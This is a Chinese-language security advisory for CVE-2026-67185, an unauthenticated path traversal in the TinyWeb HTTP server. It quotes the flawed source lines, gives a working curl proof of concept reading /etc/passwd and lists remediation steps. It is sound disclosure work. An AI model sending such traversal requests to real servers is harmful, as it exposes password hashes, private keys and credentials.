分配的 CVE 编号: CVE-2026-67185
TinyWeb 通过将 Web 根目录与请求 URL 原样拼接来构造要提供服务的文件路径,且不做任何规范化。从未认证的远程客户端可以在请求行中插入 ../ 序列,读取服务器进程能够打开的任何文件,包括 Web 根目录之外的文件。
TnyWeb/0.0.80b3b5fd(2019-01-09,路径首次以此方式拼接)到 a381da2(2023-11-22,master 上的最新提交)。CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N未认证的远程攻击者,只要能够访问服务器监听的 TCP 端口(随附配置中为 9090)即可。无需任何凭据、无需用户交互、也无需任何先前访问权限。单个请求就足以达成攻击。
HttpBuilder::buildResponse() 首先从配置的 Web 根目录开始,然后直接拼接来自已解析请求的 URL 路径字段:
// src/tiny_http/http_responser.cc:80
sdsncat(&file_path, server.www.c_str(), server.www.size());
// src/tiny_http/http_responser.cc:83-87
if (url->field_set & (1 << HTTP_UF_PATH)) {
unsigned int off = url->fields[HTTP_UF_PATH].offset;
unsigned int len = url->fields[HTTP_UF_PATH].len;
sdsncat(&file_path, url->data + off, len);
}
// src/tiny_http/http_responser.cc:90-94
std::string f(file_path.data, file_path.len);
file_type = isRegularFile(f);
if (0 == file_type) {
return_val = file->setFile(f); // stat() + open() on the joined path
}
在第 86 行的拼接与第 94 行的文件系统调用之间,既没有移除点段(RFC 3986 第 5.2.4 节),也没有 realpath() 规范化,更没有检查结果是否仍位于 server.www 之内。
URL 解析器同样不过滤 ..。在 HttpParser::parseUrlChar() 中,路径状态接受任何能通过 isUrlChar() 的字符,而 . 是合法的 URL 字符,因此 ../ 会原样传至 buildResponse():
// src/tiny_http/http_parser.cc:653-654
case s_requ_path: //finished
if (isUrlChar(ch))
return s_requ_path;
随后 HttpFile::setFile() 会以服务器进程的权限打开并服务最终生成的任何路径:
// src/tiny_http/http_model_file.cc:43
return_val = open(name.c_str(), O_RDONLY);
注意:TinyWeb 从不对 URL 路径进行百分号解码,因此 %2e%2e%2f 无效,而字面形式的 ../ 有效。
使用随附配置启动服务器(监听 9090 端口,从配置的 Web 根目录提供文件)。
发送一个路径向上攀升以越过 Web 根目录的请求。--path-as-is 标志可阻止 curl 在发送前折叠 ../:
curl --path-as-is 'http://TARGET:9090/../../../../etc/passwd'
200 OK,并携带 /etc/passwd 的内容:HTTP/1.1 200 OK
Server: TinyWeb/0.0.8
Transfer-Encoding: chunked
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
所需的 ../ 段数取决于 Web 根目录的嵌套深度。只要数量大于或等于 Web 根目录的深度即可,因为内核会忽略文件系统根目录处的 ..。
任何远程客户端都能读取服务器进程有权打开的任何文件。在默认配置下,工作进程以 root 身份运行,因此这包括 /etc/shadow、TLS 私钥、包含凭据的配置文件,以及 Web 根目录下应用自身的源代码。
使用 realpath() 对拼接后的路径进行规范化,并且除非结果位于配置的 Web 根目录之内,否则拒绝该请求。作为纵深防御,还应按照 RFC 3986 第 5.2.4 节在 URL 解析期间移除点段,并在执行该规范化之前对路径进行百分号解码。